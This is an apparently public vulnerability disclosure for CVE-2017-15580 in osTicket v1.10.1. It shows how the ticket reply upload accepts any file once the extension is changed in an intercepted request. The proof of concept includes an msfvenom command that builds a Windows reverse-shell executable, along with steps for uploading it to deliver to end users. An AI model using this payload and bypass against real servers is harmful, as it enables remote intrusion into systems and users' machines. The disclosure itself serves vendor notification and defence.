Reference: https://becomepentester.blogspot.ae/2017/10/osTicket-File-Upload-
Restrictions-Bypassed-CVE-2017-15580.html
*# Exploit Title: File Upload Restrictions Bypassed*
*# Date: 18 October, 2017*
*# Exploit Author: Rajwinder Singh*
*# Vendor Homepage: http://osticket.com/ *
*# Software Link: http://osticket.com/download/go?dl=osTicket-v1.10.1.zip
*
*# Version: v1.10.1*
*# CVE : 2017-15580*
Vulnerability Details:
======================
osTicket application provides a functionality to upload 'html' files with
associated formats. However, application does not properly validate the
uploaded fileas contents and thus accepts any type of files.
*Proof-of-Concept:*
====================
Uploaded shell to get reverse shell of end user for the demo purpose.
1. Created a valid '.html' file to bypass client-side validations.
test
test page
2. Created a reverse shell with '.exe' file extension using msfvenom.
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST= LPORT=4444 -b "\x00" -e -f exe -o reverse.exe
https://www.offensive-security.com/metasploit-unleashed/binary-payloads/
3. As shown in the below screenshot, intercepted the request and changed
file extension '.html' to '.exe' and received a valid response from server
along with uploaded malicious file.
*Response:*
4. As shown in the below screenshot, successfully uploaded malicious file
on the server.
Ready to get reverse shell.
*Affected Component:*
====================
*Parameter:* tickets.php?id=#reply
*Disclosure Timeline:*
=====================
Vendor Confirmation: 11 October, 2017
Mitre Notification: 17 October, 2017
Public Disclosure: 18 October, 2017
*Exploitation Technique:*
=======================
Remote
*Severity Level:*
================
High
*Description:*
=====================================================
Request Method(s): [+] POST
Vulnerable Product: [+] osTicket - v1.10.1
Vulnerable Parameter(s): [+] tickets.php?id=#reply
Thank you